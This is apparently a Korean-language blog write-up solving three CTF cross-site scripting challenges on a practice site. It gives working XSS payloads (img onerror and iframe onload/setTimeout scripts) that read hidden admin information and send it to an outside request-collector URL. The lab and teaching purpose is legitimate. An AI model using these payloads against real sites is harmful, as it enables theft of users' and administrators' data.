[모의해킹 CTF] Client Script XSS 문제 풀이

Basic Script Prac, Steal Info, Steal Info2 CTF 문제에 대한 풀이 과정을 서술한다.

 

목차

 

1. Basic Script Prac

2. Steal Info

3. Steal Info2

 

 

요청한 데이터를 중계 서버로 응답 받아, 응답 내용을 확인하는 용도로 아래 사이트를 이용하였다. 

 

https://public.requestbin.com/r/

 

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks

 

public.requestbin.com

 

Basic Script Prac

문제의 목적은 Flag Here.. 부분에 숨겨진 관리자의 정보를 탈취하는 것이다. 

 

문제 풀이 과정은 다음과 같다.

  1. Flag Here.. 부분의 위치를 확인한다. 
  2. 해당 부분의 데이터를 선택하고, 원하는 URL로 전달한다. 

문제 풀이 과정에서 막혔던 부분은 추출한 데이터를 URL에 전달하는 코드를 작성하는데 있었다. 요청을 URL의 파라미터로 전달하다 보니, + 는 공백으로 치환되었다.

 

URL+document.getElementsByName('info')[0].placeholder 부분이 + 연산이 아닌 그대로 공백으로 출력되었다. 

+ 연산자를 html entity로 변환하여 파라미터 값에 넣어주어 해결하였다. 

<img+src="x"+onerror="
	var+i=new+Image();
    i.src='https://enm9he0dxcpob.x.pipedream.net/'%2bdocument.getElementsByName('info')[0].placeholder;
">

 

동일한 작동을 iframe을 이용하여 아래와 같이 구성도 가능하다. 

<img+src="x"+onerror="
	var+i=document.getElementsByName('info')[0].placeholder;
    var+iframe=document.createElement('iframe');
    iframe.style.display='none'; //iframe을 숨긴다//
    iframe.src='https://enm9he0dxcpob.x.pipedream.net/?data='%2bi;document.body.appendChild(iframe); //생성된 iframe을 문서 본문에 추가하여 웹 페이지에 삽입//
">

Steal Info

 

이번 문제에서는 2개의 사이트로 나누어 진다. 내 정보를 보는 사이트와, 관리자 정보가 저장된 사이트이며 두 사이트의 format은 동일하다. 문제 풀이를 위해 편의 상 [내 정보 페이지] 와 [관리자 페이지] 로 나누었다. 문제 풀이 과정은 다음과 같다.

 

  1. 내 정보 페이지에서 추출하고자 하는 값이 어디에 있는지 확인한다.
  2. iframe을 활용하여 관리자 권한으로 관리자 페이지의 정보를 추출한다. 
  3. 추출한 데이터를 지정한 URL로 가져온다. 

여기서 주의할 점은 onload 핸들러와 같이 페이지 로드를 기다리는 코드가 필요하다는 것이다. (꼭 onload가 아니어도 무방하다.)

  1. 원하는 데이터를 접근하기 위해서는 전체 웹 페이지가 로드된 이후에 원하는 데이터를 선택하고
  2. iframe을 실행하여 선택한 데이터를 img.src 로 변환하여 URL으로 보내는 과정이 필요하다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame" onload="
    var iframe = document.getElementById('targetFrame');
    var targetTag = iframe.contentWindow.document.getElementsByClassName('card-text')[1].textContent;
    var i = new Image();
    i.src = 'https://enm9he0dxcpob.x.pipedream.net/?data=' + targetTag;
    document.body.appendChild(i);
"></iframe>

 

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="targetFrame"></iframe>

<script>
    setTimeout(function() {
        var iframe = document.getElementById('targetFrame');
        var targetTag = iframe.contentWindow.document.getElementsByClassName('card-text')[1].textContent;
        var i = new Image();
        i.src = 'https://enm9he0dxcpob.x.pipedream.net/?data=' + targetTag;
        document.body.appendChild(i);
    }, 3000); // 3초 대기 (시간은 상황에 따라 조정 필요)
</script>

 

이와 같이 onload가 아닌 setTimeout 함수를 이용해서도 실행할 수 있다. 다만, 몇 초를 대기할지를 구체적으로 설정해주어야 하기에 조금 더 번거로울 수 있다. 

 

edited_blob
flag 회수 페이지

Steal Info2

 

문제 풀이 과정은 Steal Info 부분과 동일하다.

 

여기서 주의할 점은, 2번에서 데이터를 가져올 때 관리자 bot에서 MyPage에 접속한 후, 관리자 페이지에 접속해야 데이터를 추출할 수 있다. 그 이유는 관리자 페이지에서 세션 ID로 접속한 사람이 admin임을 확인하기 때문이다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=yjj" id="targetFrame" onload="
    var iframe = document.getElementById('targetFrame');
    var targetTag = iframe.contentWindow.document.getElementsByName('info')[0].placeholder;
    var i = new Image();
    i.src = 'https://enm9he0dxcpob.x.pipedream.net/?data=' + targetTag;
    document.body.appendChild(i);
"></iframe>

 

blob
flag 회수 페이지